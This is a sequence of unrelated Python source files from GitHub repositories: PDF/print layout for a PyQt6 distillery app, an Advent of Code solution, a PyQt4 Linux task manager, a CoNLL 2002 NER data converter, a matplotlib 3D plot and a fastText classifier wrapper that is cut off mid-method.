rect_customer.setRight(rect.right() - rect.width() * 1 / 4)\n height = max(\n painter.boundingRect(\n rect_customer, sign_customer, WORD_WRAP_CENTER\n ).height(),\n painter.boundingRect(\n rect_employee, sign_employee, WORD_WRAP_CENTER\n ).height(),\n )\n\n rect_employee.setTop(rect.top() - height)\n rect_customer.setTop(rect.top() - height)\n rect_employee.setBottom(rect.top())\n rect_customer.setBottom(rect.top())\n rect.setTop(rect.top() - height)\n\n painter.drawText(rect_customer, sign_customer, WORD_WRAP_CENTER)\n painter.drawText(rect_employee, sign_employee, WORD_WRAP_CENTER)\n\n rect.setTop(rect_customer.top())\n\n dates_rect = QtCore.QRectF(layout)\n dates_rect = painter.boundingRect(dates_rect, dates, WORD_WRAP_LEFT)\n dates_rect.moveBottom(rect.top())\n\n painter.drawText(dates_rect, dates, WORD_WRAP_LEFT)\n\n rect.setTop(dates_rect.top())\n\n pass\n\n def paint_customer(rect: QtCore.QRectF) -> QtCore.QRectF:\n texts = [\n [\n (\n f\"{window.customer_handler.label_name.text()} \",\n f\"{window.customer_handler.le_name.text()}\",\n ),\n (\n f\"{window.customer_handler.label_birthday.text()} \",\n f\"{window.customer_handler.le_birthday.text()}\",\n ),\n ],\n [\n (\n f\"{window.customer_handler.label_address.text()} \",\n f\"{window.customer_handler.le_address.text()}\",\n ),\n (\n f\"{window.customer_handler.label_phone_number.text()} \",\n f\"{window.customer_handler.cb_phone_number.currentText()}\",\n ),\n ],\n [\n (\n f\"{window.customer_handler.label_la_before.text()} \",\n f\"{window.customer_handler.le_la_before.text()}\",\n ),\n (\n f\"{window.customer_handler.label_la_after.text()} \",\n f\"{window.customer_handler.le_la_after.text()}\",\n ),\n ],\n ]\n\n # set pen to bold\n save_font = painter.font()\n font = painter.font()\n font.setBold(True)\n painter.setFont(font)\n\n row_bound = QtCore.QRectF(rect)\n\n for row in texts:\n row_bounds = [\n (\n painter.boundingRect(\n QtCore.QRectF(\n pair_bound.left(),\n pair_bound.top(),\n pair_bound.width() / 2,\n pair_bound.height(),\n ),\n pair_texts[0],\n WORD_WRAP_RIGHT,\n ),\n painter.boundingRect(\n QtCore.QRectF(\n pair_bound.left() + pair_bound.width() / 2,\n pair_bound.top(),\n pair_bound.width() / 2,\n pair_bound.height(),\n ),\n pair_texts[1],\n WORD_WRAP_LEFT,\n ),\n )\n for pair_bound, pair_texts in zip(\n [\n QtCore.QRectF(\n row_bound.left() + i * row_bound.width() / len(row),\n row_bound.top(),\n row_bound.width() / len(row),\n row_bound.height(),\n )\n for i in range(len(row))\n ],\n row,\n )\n ]\n\n row_height = max(\n [\n max(pair_bound[0].height(), pair_bound[1].height())\n for pair_bound in row_bounds\n ]\n )\n\n for pair_bound, pair_texts in zip(row_bounds, row):\n pair_bound[0].setHeight(row_height)\n pair_bound[1].setHeight(row_height)\n painter.drawText(pair_bound[0], pair_texts[0], WORD_WRAP_RIGHT)\n painter.drawText(pair_bound[1], pair_texts[1], WORD_WRAP_LEFT)\n\n row_bound.setTop(row_bound.top() + row_height)\n\n rect.setBottom(row_bound.top())\n\n painter.setFont(save_font)\n\n painter.drawLine(rect.topLeft(), rect.topRight())\n painter.drawLine(rect.bottomLeft(), rect.bottomRight())\n\n return rect\n\n def paint_distillings(rect: QtCore.QRectF):\n distillings_header = [\n window.label_ferment_volume.text(),\n window.label_ferment_type.text(),\n window.label_alcohol_volume.text(),\n window.label_alcohol_percentage.text(),\n window.label_alcohol_temperature.text(),\n window.label_alcohol_percentage_at_20.text(),\n window.label_alcohol_volume_la.text(),\n window.label_lower_tax.text(),\n window.label_full_tax.text(),\n window.label_sum_tax.text(),\n ]\n\n distillings = [\n [\n distilling.edit_ferment_volume.text(),\n distilling.edit_ferment_type.text(),\n f\"{distilling.alcohol_volume:.2f}\",\n f\"{distilling.alcohol_percentage:.2f}\",\n f\"{distilling.alcohol_temperature:.2f}\",\n distilling.edit_alcohol_percentage_at_20.text(),\n distilling.edit_alcohol_volume_la.text(),\n distilling.edit_lower_tax.text(),\n distilling.edit_full_tax.text(),\n distilling.edit_sum_tax.text(),\n ]\n for distilling in window.findChildren(main_window.DistillingInput)\n ]\n\n table_distillings = self.TablePrint(\n painter, [distillings_header, *distillings], rect\n )\n table_distillings.paint()\n\n return table_distillings.rect\n\n def paint_dilute(rect: QtCore.QRectF):\n dilute_cols = window.diluteTable.columnCount()\n dilute_rows = window.diluteTable.rowCount()\n dilute_header = [\n window.diluteTable.horizontalHeaderItem(i).text()\n for i in range(dilute_cols)\n ]\n dilute_cells = [\n [window.diluteTable.item(row, col).text() for col in range(dilute_cols)]\n for row in range(dilute_rows)\n ]\n\n table_dilute = self.TablePrint(\n painter,\n [dilute_header, *dilute_cells],\n rect,\n title=\"Riedenie v dcl na 1 liter liehu:\",\n )\n table_dilute.paint()\n\n return table_dilute.rect\n\n def paint_costs(rect: QtCore.QRectF):\n costs_cells = [\n [\n window.label_service_cost.text(),\n f\"{window.rle_service_cost.value:.2f}\",\n ],\n [\n window.label_operating_costs.text(),\n f\"{window.rle_operating_costs.value:.2f}\",\n ],\n [window.label_cost_per_liter.text(), window.le_cost_per_liter.text()],\n [window.label_tax_base.text(), window.le_tax_base.text()],\n [window.label_tax.text(), window.le_tax_vat.text()],\n ]\n\n cost_sum_cells = [[window.label_cost_sum.text(), window.le_cost_sum.text()]]\n\n # set pen to bold\n\n costs_table = self.TablePrint(painter, costs_cells, rect, title=\" \")\n costs_table.paint()\n\n rect.setTop(costs_table.rect.bottom())\n\n save_font = painter.font()\n font = painter.font()\n font.setBold(True)\n painter.setFont(font)\n\n cost_sum_table = self.TablePrint(painter, cost_sum_cells, rect, title=\" \")\n cost_sum_table.cols_size = costs_table.cols_size\n cost_sum_table.paint()\n\n painter.setFont(save_font)\n\n return costs_table.rect\n\n def paint_notes(rect: QtCore.QRectF):\n title = \"Iné záznamy:\"\n text = window.notes.toPlainText()\n\n\n title_rect = QtCore.QRectF(rect)\n title_rect = painter.boundingRect(title_rect, title, WORD_WRAP_LEFT)\n painter.drawText(title_rect, title, WORD_WRAP_LEFT)\n\n notes_rect = QtCore.QRectF(rect)\n notes_rect.setTop(title_rect.bottom())\n\n notes_rect.setLeft(notes_rect.left() + TABLE_HORIZONTAL_MARGIN)\n notes_rect.setRight(notes_rect.right() - TABLE_HORIZONTAL_MARGIN)\n notes_rect.setTop(notes_rect.top() + TABLE_VERTICAL_MARGIN)\n notes_rect.setBottom(notes_rect.bottom() - TABLE_VERTICAL_MARGIN)\n\n notes_rect_height = painter.boundingRect(\n notes_rect, text, WORD_WRAP_LEFT\n ).height()\n notes_rect.setHeight(notes_rect_height)\n\n painter.drawText(notes_rect, text, WORD_WRAP_LEFT)\n\n notes_rect.setLeft(notes_rect.left() - TABLE_HORIZONTAL_MARGIN)\n notes_rect.setRight(notes_rect.right() + TABLE_HORIZONTAL_MARGIN)\n notes_rect.setTop(notes_rect.top() - TABLE_VERTICAL_MARGIN)\n notes_rect.setBottom(notes_rect.bottom() + TABLE_VERTICAL_MARGIN)\n\n painter.drawRect(notes_rect)\n rect.setBottom(notes_rect.bottom())\n\n return rect\n\n # Layout constant shift\n layout.setBottomRight(\n layout.bottomRight() - layout.topLeft() - layout.topLeft()\n )\n\n header_rect = print_header()\n footer_rect = print_footer()\n\n customer_rect = paint_customer(QtCore.QRectF(layout))\n\n distillings_rect = QtCore.QRectF(layout)\n distillings_rect.setTop(customer_rect.bottom() + VERTICAL_SPACER)\n distillings_rect = paint_distillings(distillings_rect)\n\n # increase font size\n save_font = painter.font()\n font = painter.font()\n font.setPointSize(save_font.pointSize() + 1)\n painter.setFont(font)\n\n dilute_rect = QtCore.QRectF(layout)\n dilute_rect.setTop(distillings_rect.bottom() + VERTICAL_SPACER)\n dilute_rect.setWidth(dilute_rect.size().width() / 4)\n dilute_rect = paint_dilute(dilute_rect)\n\n costs_rect = QtCore.QRectF(layout)\n costs_rect.setTop(distillings_rect.bottom() + VERTICAL_SPACER)\n costs_rect.setLeft(costs_rect.left() + costs_rect.size().width() * 2 / 3)\n costs_rect = paint_costs(costs_rect)\n\n notes_rect = QtCore.QRectF(layout)\n notes_rect.setTop(distillings_rect.bottom() + VERTICAL_SPACER)\n notes_rect.setLeft(dilute_rect.right() + HORIZONTAL_SPACER)\n notes_rect.setRight(costs_rect.left() - HORIZONTAL_SPACER)\n notes_rect = paint_notes(notes_rect)\n\n painter.setFont(save_font)\n\n pass\n","repo_name":"EduardFrlicka/Palenica-PyQt6","sub_path":"src/printer.py","file_name":"printer.py","file_ext":"py","file_size_in_byte":22503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"18651438079","text":"import os\ndirname = os.path.dirname(__file__)\nif dirname:\n os.chdir(dirname)\n\nfrom collections import deque\n\ndef is_sum(num, nums):\n # Since we know there's only 25, we don't need an efficient algorithm\n for i in range(len(nums)):\n for j in range(len(nums)):\n if i != j and nums[i] + nums[j] == num:\n return True\n return False\n\ndef find_weakness(target, nums):\n upper = 0\n lower = 0\n\n current_total = sum(nums[lower:upper])\n while current_total != target:\n if current_total < target:\n upper += 1\n else:\n lower += 1\n\n current_total = sum(nums[lower:upper])\n\n range = nums[lower:upper]\n return max(range) + min(range)\n\ndef run():\n seen_nums = list()\n seen_nums_rolling = deque()\n with open('../data/prob09.txt') as f:\n for line in f.readlines():\n line = line.strip()\n line = int(line)\n if len(seen_nums_rolling) == 25:\n if not is_sum(line, list(seen_nums_rolling)):\n return find_weakness(line, seen_nums)\n seen_nums_rolling.popleft()\n seen_nums.append(line)\n seen_nums_rolling.append(line)\n\nif __name__ == '__main__':\n print(run())\n","repo_name":"evan1026/advent-of-code","sub_path":"2020/code/prob09_part2.py","file_name":"prob09_part2.py","file_ext":"py","file_size_in_byte":1130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"37088404875","text":"# Defining function\n\ndef claimtotal():\n Months = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sep\", \"Oct\", \"Nov\", \"Dec\"]\n MonthTot = []\n LoopNums = 0\n while LoopNums < 12:\n MonthInputs = int(input(f\"please enter the total for {Months[(LoopNums)]}: \"))\n MonthTot.append(MonthInputs)\n # print(MonthInputs)\n LoopNums = LoopNums + 1\n\n sum_result = sum(MonthTot)\n print(\"Yearly claims total: \")\n print(sum_result)","repo_name":"JarodChambers/Sprint-Week-1","sub_path":"Calcfunction.py","file_name":"Calcfunction.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"12524621622","text":"import sys, os, time, thread\r\nfrom numpy import *\r\nfrom PyQt4.QtGui import *\r\nfrom PyQt4.QtCore import *\r\nfrom PyQt4.Qwt5 import *\r\nfrom MainWindow import *\r\nfrom ProcStat import *\r\n\r\n\r\nclass TaskMgr(QMainWindow, Ui_MainWindow):\r\n def __init__(self, parent = None):\r\n super(TaskMgr, self).__init__()\r\n self.setupUi(self)\r\n\r\n QObject.connect(self.pushButton_shutdown, SIGNAL(\"clicked()\"), self.__poweroff)\r\n QObject.connect(self.pushButton_reboot, SIGNAL(\"clicked()\"), self.__reboot)\r\n QObject.connect(self.pushButton_kill, SIGNAL(\"clicked()\"), self.__kill)\r\n \r\n paletteColor = self.label_CPU_Total.palette()\r\n paletteColor.setColor(QPalette.WindowText, QColor(CpuPlot.colors[0]))\r\n self.label_CPU_Total.setPalette(paletteColor)\r\n\r\n self.label_CPU_Cores.setText(\"\")\r\n self.label_CPU_list = {}\r\n\r\n keys = self.qwtPlot_CPU.data.keys()\r\n for x in xrange(0, len(keys)):\r\n key = keys[x]\r\n if str(key).find(\"cpu\") == 0:\r\n paletteColor = self.label_CPU_Total.palette()\r\n paletteColor.setColor(QPalette.WindowText, \r\n QColor(CpuPlot.colors[int(str(key).strip(\"cpu\")) + 1]))\r\n label_CPU = QtGui.QLabel(self.tab_mem)\r\n label_CPU.setGeometry(QtCore.QRect(20 + 100 * (x - 1), 235, 321, 31))\r\n label_CPU.setText(str(key).upper())\r\n label_CPU.setPalette(paletteColor)\r\n self.label_CPU_list.update({str(key):label_CPU})\r\n\r\n paletteColor = self.label_CPU_Total.palette()\r\n paletteColor.setColor(QPalette.WindowText, QColor(CpuPlot.colors[0]))\r\n self.label_mem_usage.setPalette(paletteColor)\r\n\r\n paletteColor = self.label_CPU_Total.palette()\r\n paletteColor.setColor(QPalette.WindowText, QColor(CpuPlot.colors[1]))\r\n self.label_swap_usage.setPalette(paletteColor)\r\n\r\n self.tableWidget_process.verticalHeader().setVisible(False)\r\n self.tableWidget_process.setSelectionBehavior(QAbstractItemView.SelectRows)\r\n self.tableWidget_process.setHorizontalHeaderLabels(\r\n [\"PID\".center(10), \"PPID\".center(10), \"Name\".center(38), \"St.\", \"Pri.\".center(7), \"Memory(KB)\".center(15)])\r\n self.tableWidget_process.resizeColumnsToContents()\r\n self.tableWidget_process.setSortingEnabled(True)\r\n\r\n self.tableWidget_module.verticalHeader().setVisible(False)\r\n self.tableWidget_module.setSelectionBehavior(QAbstractItemView.SelectRows)\r\n self.tableWidget_module.setHorizontalHeaderLabels([\"Name\".center(50), \"Memory(KB)\".center(15), \"Usage\"])\r\n self.tableWidget_module.resizeColumnsToContents()\r\n self.tableWidget_module.setSortingEnabled(True)\r\n\r\n self.procStat = ProcStat()\r\n self.statInfo = {}\r\n\r\n self.timer = QTimer(self)\r\n self.timer.timeout.connect(self.refresh)\r\n self.timer.start(1000)\r\n\r\n\r\n def __displayInfo(self):\r\n self.label_CPU_name.setText(self.statInfo[\"CPUInfo\"][\"name\"])\r\n self.label_CPU_type.setText(self.statInfo[\"CPUInfo\"][\"type\"])\r\n self.label_CPU_freq.setText(self.statInfo[\"CPUInfo\"][\"frequency\"] + \" MHz\")\r\n self.label_OS_type.setText(self.statInfo[\"OSInfo\"][\"type\"])\r\n self.label_OS_version.setText(self.statInfo[\"OSInfo\"][\"version\"])\r\n self.label_GCC_version.setText(self.statInfo[\"OSInfo\"][\"GCCversion\"])\r\n\r\n\r\n def __displaySources(self):\r\n try:\r\n x = numpy.arange(0, 60, 1)\r\n y = x * 0\r\n curve = QwtPlotCurve()\r\n curve.setData(x, y)\r\n curve.attach(self.qwtPlot_CPU)\r\n except:\r\n print(\"Exception: TaskMgr.__displaySources()\")\r\n print(sys.exc_info())\r\n\r\n\r\n def __displayProcs(self):\r\n try:\r\n rows_new = len(self.statInfo[\"ProcInfos\"])\r\n self.tableWidget_process.setRowCount(rows_new)\r\n for x in xrange(0, rows_new):\r\n item = QTableWidgetItem()\r\n item.setData(QtCore.Qt.DisplayRole, int(self.statInfo[\"ProcInfos\"][x][\"pid\"]))\r\n self.tableWidget_process.setItem(x, 0, item)\r\n\r\n item = QTableWidgetItem()\r\n item.setData(QtCore.Qt.DisplayRole, int(self.statInfo[\"ProcInfos\"][x][\"ppid\"]))\r\n self.tableWidget_process.setItem(x, 1, QTableWidgetItem(item))\r\n\r\n self.tableWidget_process.setItem(x, 2, QTableWidgetItem(self.statInfo[\"ProcInfos\"][x][\"name\"]))\r\n\r\n item = QTableWidgetItem(self.statInfo[\"ProcInfos\"][x][\"status\"])\r\n item.setTextAlignment(QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter)\r\n self.tableWidget_process.setItem(x, 3, item)\r\n self.tableWidget_process.setItem(x, 4, QTableWidgetItem(self.statInfo[\"ProcInfos\"][x][\"priority\"]))\r\n\r\n item = QTableWidgetItem()\r\n item.setData(QtCore.Qt.DisplayRole, int(self.statInfo[\"ProcInfos\"][x][\"memory\"]) / 1024)\r\n self.tableWidget_process.setItem(x, 5, item)\r\n except:\r\n print(\"Exception: TaskMgr.__displayProcs()\")\r\n print(sys.exc_info())\r\n\r\n\r\n def __displayModules(self):\r\n try:\r\n rows = len(self.statInfo[\"ModuleInfos\"])\r\n self.tableWidget_module.setRowCount(rows)\r\n\r\n for x in xrange(0, rows):\r\n self.tableWidget_module.setItem(x, 0, QTableWidgetItem(self.statInfo[\"ModuleInfos\"][x][\"name\"]))\r\n\r\n item = QTableWidgetItem()\r\n item.setData(QtCore.Qt.DisplayRole, int(self.statInfo[\"ModuleInfos\"][x][\"memory\"]))\r\n self.tableWidget_module.setItem(x, 1, QTableWidgetItem(item))\r\n\r\n item = QTableWidgetItem()\r\n item.setData(QtCore.Qt.DisplayRole, int(self.statInfo[\"ModuleInfos\"][x][\"usage\"]))\r\n item.setTextAlignment(QtCore.Qt.AlignHCenter | QtCore.Qt.AlignVCenter)\r\n self.tableWidget_module.setItem(x, 2, item)\r\n except:\r\n print(\"Exception: TaskMgr.__displayModules()\")\r\n print(sys.exc_info())\r\n\r\n\r\n def __displayAbout(self):\r\n self.label_about.setText(\r\n '
    '\r\n            '

    Task Manager

    '\r\n '

    for Linux version 1.0.0

    '\r\n 'This is a task manager for Linux

    '\r\n 'If you want to use the shutdown and reboot function,
    ' \r\n 'please confirm that you are root.

    '\r\n 'Besides, you can\\'t kill other users\\' processes
    '\r\n 'if you are not root.
    '\r\n '

    '\r\n 'For more information, please contact me:
    '\r\n 'Email: weiweijiangcn@gmail.com
    '\r\n '




    '\r\n '

    Written by Weiwei Jiang in python2.7 with qt4&qwt5

    '\r\n '2013/6/15'\r\n '
    '\r\n )\r\n\r\n\r\n def __poweroff(self):\r\n os.system(\"poweroff\") \r\n\r\n\r\n def __reboot(self):\r\n os.system(\"reboot\") \r\n\r\n\r\n def __kill(self):\r\n rowIndex = self.tableWidget_process.currentRow()\r\n os.system(\"kill \" + str(self.tableWidget_process.item(rowIndex, 0).data(0).toString()))\r\n\r\n\r\n def refresh(self):\r\n try:\r\n #print \"refresh\"\r\n self.procStat.refresh()\r\n self.statInfo = {}\r\n self.statInfo.update({\"CPUInfo\":self.procStat.getCPUInfo()})\r\n self.statInfo.update({\"OSInfo\":self.procStat.getOSInfo()})\r\n #self.statInfo.update({\"MemoryInfo:\":self.procStat.getMemInfo()})\r\n #self.statInfo.update({\"CPUUsage\":self.procStat.getCPUStat()})\r\n procInfo_stat = self.procStat.getProcInfos()\r\n self.statInfo.update({\"ProcInfos\":procInfo_stat[0]})\r\n self.modInfo_stat = self.procStat.getModuleInfos()\r\n self.statInfo.update({\"ModuleInfos\":self.modInfo_stat[0]})\r\n\r\n self.__displayInfo()\r\n #self.__displaySources()\r\n self.__displayProcs()\r\n self.__displayModules()\r\n self.__displayAbout()\r\n\r\n \r\n self.label_CPU_Total.setText(\"Total: \" + \r\n \"%.1f\" % self.qwtPlot_CPU.data[\"Total\"][0] + \"%\")\r\n \r\n for key in self.qwtPlot_CPU.data.keys():\r\n if str(key).find(\"cpu\") == 0:\r\n self.label_CPU_list[key].setText(str(key).upper() + \": \" + \r\n \"%.1f\" % self.qwtPlot_CPU.data[key][0] + \"%\")\r\n\r\n self.label_mem_usage.setText(\"Memory: Usage \" + \r\n \"%.2f\" % ((self.qwtPlot_memory.data[\"MemTotal\"][0] - self.qwtPlot_memory.data[\"MemFree\"][0]) / 1024) + \"MB\" + \r\n \"(\" + \"%.2f\" % (self.qwtPlot_memory.data[\"Memory\"][0]) + \"%) \" +\r\n \"Total \" + \"%.2f\" % (self.qwtPlot_memory.data[\"MemTotal\"][0] / 1024) + \"MB\")\r\n self.label_swap_usage.setText(\"Swap: Usage \" + \r\n \"%.2f\" % ((self.qwtPlot_memory.data[\"SwapTotal\"][0] - self.qwtPlot_memory.data[\"SwapFree\"][0]) / 1024) + \"MB\" + \r\n \"(\" + \"%.2f\" % (self.qwtPlot_memory.data[\"Swap\"][0]) + \"%) \" +\r\n \"Total \" + \"%.2f\" % (self.qwtPlot_memory.data[\"SwapTotal\"][0] / 1024) + \"MB\")\r\n\r\n self.label_process.setText(\"Total: \" + str(procInfo_stat[1][\"Total\"]) + \"\\n\" + \r\n \"Runnable: \" + str(procInfo_stat[1][\"Runnable\"]) + \r\n \"\\tSleeping: \" + str(procInfo_stat[1][\"Sleeping\"]) + \r\n \"\\tDefunct: \" + str(procInfo_stat[1][\"Defunct\"]))\r\n\r\n self.label_module.setText(\"Total: \" + str(self.modInfo_stat[1]))\r\n\r\n curTime = time.strftime('%Y/%m/%d %H:%M:%S', time.localtime(time.time()))\r\n CPUUsage = \"%.1f\" % self.qwtPlot_CPU.data[\"Total\"][0] + \"%\"\r\n MemUsage = \"%.1f\" % self.qwtPlot_memory.data[\"Memory\"][0] + \"%\"\r\n #self.label_status.setText(\"
    \" + \"Time: \" + curTime + \r\n            #    \"	CPU: \" + CPUUsage + \"	Memory: \" + MemUsage + \r\n            #    \"
    \")\r\n self.label_status.setText(\"Time: \" + curTime + \r\n \" CPU: \" + CPUUsage + \" Memory: \" + MemUsage)\r\n except:\r\n print(\"Exception: TaskMgr.refresh()\")\r\n print(sys.exc_info())\r\n \r\n\r\napp = QApplication(sys.argv)\r\ntaskManager = TaskMgr()\r\nQtGui.QApplication.setStyle(QtGui.QStyleFactory.create(\"GTK+\"))\r\ntaskManager.show()\r\nsys.exit(app.exec_())\r\n","repo_name":"HighTemplar-wjiang/TaskManager-pyqt4","sub_path":"src/TaskMgr.py","file_name":"TaskMgr.py","file_ext":"py","file_size_in_byte":10541,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"29986326223","text":"# This script converts CoNLL 2002 Spanish and Dutch \"train\", \"testa\",\n# and \"testb\" files (https://www.clips.uantwerpen.be/conll2002/ner/)\n# to the unified input format of the model (each line containing\n# space-separated lists of tokens and labels of a single sentence,\n# separated by a tab). It is assumed that the six files - \"esp.train\",\n# \"esp.testa\", \"eng.testb\", \"ned.train\", \"ned.testa\", and \"ned.testb\"\n# (or just three files corresponding to one of the languages) are copied\n# into --source-folder (-s). By default, the tags are converted to IOBES\n# tagging scheme (this may be switched off by setting --iobes (-i) to\n# False, to get IOB2 tags). The pre-processing results are written into\n# two target folders: --target-folder-esp (-te) for Spanish data and\n# --target-folder-ned (-tn) for Dutch data, from where models can be\n# trained directly using train.py.\n\n\nimport os\nimport argparse\n\nimport common\n\n\ndef convert():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-s\", \"--source-folder\", type=str, default=\"../data/sources/conll2002\")\n parser.add_argument(\"-te\", \"--target-folder-esp\", type=str, default=\"../data/ready/nerc/conll2002_esp\")\n parser.add_argument(\"-tn\", \"--target-folder-ned\", type=str, default=\"../data/ready/nerc/conll2002_ned\")\n parser.add_argument(\"-i\", \"--iobes\", type=bool, default=True)\n args = parser.parse_args()\n\n print(\"Source folder: {}\".format(args.source_folder))\n print(\"Target folder (Spanish): {}\".format(args.target_folder_esp))\n print(\"Target folder (Dutch): {}\".format(args.target_folder_ned))\n print(\"Convert to IOBES: {}\".format(args.iobes))\n print()\n\n args.target_folders = {\n \"esp\": args.target_folder_esp,\n \"ned\": args.target_folder_ned\n }\n\n for language in [\"esp\", \"ned\"]:\n sentence_pairs_per_file = {}\n\n for file in os.listdir(args.source_folder):\n if file.startswith(language):\n sentence_pairs_per_file[file] = []\n file_path = os.path.join(args.source_folder, file)\n file_lines = [l[:-1] for l in open(file_path, encoding=\"utf-8\").readlines()]\n\n print(\"processing data from {}\".format(file_path))\n\n running_pairs = []\n for line in file_lines:\n if line == \"\" or line.startswith(\"-DOCSTART-\"):\n if len(running_pairs) > 0:\n sentence_pairs_per_file[file].append(\n common.convert_to_iobes_tags(running_pairs)\n if args.iobes else running_pairs\n )\n running_pairs = []\n continue\n tokens = line.split(\" \")\n pair = [tokens[0], tokens[-1]]\n running_pairs.append(pair)\n\n if len(sentence_pairs_per_file) == 0:\n print(\"{} files not found\\n\".format(language))\n continue\n\n if not os.path.exists(args.target_folders[language]):\n os.makedirs(args.target_folders[language])\n\n label_count_pairs = common.get_label_count_pairs(sentence_pairs_per_file)\n common.report_statistics(sentence_pairs_per_file, label_count_pairs)\n\n for target, source in [\n [\"train\", \"{}.train\".format(language)],\n [\"val\", \"{}.testa\".format(language)],\n [\"test\", \"{}.testb\".format(language)]\n ]:\n sentences_written, tokens_written = 0, 0\n out_path = os.path.join(args.target_folders[language], target + \".txt\")\n\n with open(out_path, \"w+\", encoding=\"utf-8\") as out:\n for sentence in sentence_pairs_per_file[source]:\n out.write(\"{}\\t{}\\n\".format(\n \" \".join([p[0] for p in sentence]),\n \" \".join([p[1] for p in sentence]),\n ))\n tokens_written += len(sentence)\n sentences_written += len(sentence_pairs_per_file[source])\n\n print(\"data from {} ({:,} sentences, {:,} tokens) written to {}\".format(\n source, sentences_written, tokens_written, out_path\n ))\n\n label_path = os.path.join(args.target_folders[language], \"labels.txt\")\n with open(label_path, \"w+\", encoding=\"utf-8\") as out:\n for lb in label_count_pairs:\n out.write(\"{}\\n\".format(lb[0]))\n\n print(\"{} labels written to {}\".format(\n len(label_count_pairs), label_path\n ))\n print()\n\n\nif __name__ == \"__main__\":\n convert()\n","repo_name":"aakhundov/sequence-labeling","sub_path":"convert/convert_conll2002.py","file_name":"convert_conll2002.py","file_ext":"py","file_size_in_byte":4614,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"} +{"seq_id":"29979595745","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nt = np.linspace(-5, 5, 50)\nx, y = np.meshgrid(t, t)\nz = x * y\n\nfig = plt.figure()\nax = fig.add_subplot(1, 1, 1, projection=\"3d\")\n\nax.plot_surface(x, y, z, cmap=\"viridis\")\nplt.show()\n","repo_name":"Cwlizd/Matplotlib_basic","sub_path":"3d_2.py","file_name":"3d_2.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"7066533514","text":"import numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport os\r\nfrom os import path\r\nimport uuid\r\nfrom collections import Counter\r\nimport itertools\r\nfrom sklearn.metrics import confusion_matrix\r\n#from pandas_ml import ConfusionMatrix\r\nimport re\r\nfrom nltk.corpus import stopwords\r\nimport nltk\r\nfrom sklearn.metrics import precision_recall_fscore_support\r\nimport pickle\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\nclass FastTextClassifier:\r\n \r\n folderName = \"\"\r\n trainFileName = \"\"\r\n testFileName = \"\"\r\n pretrainedModelName = \"\"\r\n outputModelName = \"\"\r\n outputFileName = \"\"\r\n logFolderName = \"\"\r\n \r\n \r\n def __init__(self):\r\n self.rand = str(uuid.uuid4())\r\n self.trainFileName = \"issues_train_\" + self.rand + \".txt\"\r\n self.testFileName = \"issues_test_\" + self.rand + \".txt\"\r\n self.pretrainedModelName = \"pretrained_model\" + \".vec\"\r\n self.outputModelName = \"supervised_classifier_model_\" + self.rand\r\n self.outputFileName = \"predicted_results_\" + self.rand + \".txt\"\r\n self.logFolderName = \"logfiles_\" + self.rand\r\n \r\n command = \"mkdir \" + self.logFolderName\r\n os.system(command)\r\n \r\n def re_log(self):\r\n return self.logFolderName\r\n \r\n def model_pretaining(self):\r\n root = '/PretrainData/'\r\n\r\n pretrain_files = ['apache_pretrain.csv', \r\n 'jira_pretrain.csv', \r\n 'spring_pretrain.csv', \r\n 'talendforge_pretrain.csv', \r\n 'moodle_pretrain.csv',\r\n 'appcelerator_pretrain.csv',\r\n 'duraspace_pretrain.csv',\r\n 'mulesoft_pretrain.csv',\r\n 'lsstcorp_pretrain.csv']\r\n\r\n pretrained = None\r\n\r\n for file in pretrain_files:\r\n f_pretrain = pd.read_csv(root + file, usecols=['issuekey', 'title', 'description'])\r\n if(pretrained is not None):\r\n pretrained = pd.concat([pretrained, df_pretrain])\r\n else:\r\n pretrained = df_pretrain\r\n\r\n pretrained = pretrained.dropna(how='any')\r\n \r\n with open('pretrained_df.pkl', \"rb\") as fh:\r\n pretrained = pickle.load(fh)\r\n \r\n outfile=open(\"issues_pretrain.txt\", mode=\"w\", encoding=\"utf-8\")\r\n for line in pretrained.title_desc.values:\r\n outfile.write(line + '\\n')\r\n outfile.close()\r\n \r\n command = \"fasttext skipgram -input issues_pretrain.txt -output pretrained_model -epoch 100 -wordNgrams 4 -dim 300 -minn 4 -maxn 6 -lr 0.01\"\r\n os.system(command)\r\n \r\n self.of=pretrain_outputfile+\".vec\"\r\n \r\n \r\n def fit(self, xtrain, ytrain):\r\n #log folder path\r\n trainFilePath = self.logFolderName + \"/\" +self.trainFileName\r\n outputModelPath = self.logFolderName + \"/\" +self.outputModelName\r\n \r\n outfile=open(trainFilePath, mode=\"w\", encoding=\"utf-8\")\r\n for i in range(len(xtrain)):\r\n #line = \"__label__\" + str(ytrain[i]) + \" \" + xtrain[i]\r\n line = xtrain[i]\r\n outfile.write(line + '\\n')\r\n outfile.close() \r\n \r\n #fit data to model and save it\r\n command = \"fasttext supervised -input \" + trainFilePath + \" -output \" + outputModelPath + \" -epoch 500 -wordNgrams 4 -dim 300 -minn 4 -maxn 6 -pretrainedVectors \" + self.pretrainedModelName\r\n os.system(command)\r\n \r\n def predict(self, xtest):\r\n #log folder path\r\n testFilePath = self.logFolderName + \"/\" +self.testFileName\r\n outputFilePath = self.logFolderName + \"/\" +self.outputFileName\r\n outputModelPath = self.logFolderName + \"/\" +self.outputModelName\r\n \r\n #save test file\r\n outfile=open(testFilePath, mode=\"w\", encoding=\"utf-8\")\r\n for i in range(len(xtest)):\r\n outfile.write(xtest[i] + '\\n')\r\n outfile.close()\r\n \r\n #get predictions \r\n command = \"fasttext predict \" + outputModelPath + \".bin \" + testFilePath + \" > \" + outputFilePath\r\n os.system(command)\r\n \r\n outfile=open(outputFilePath, mode=\"r\")\r\n 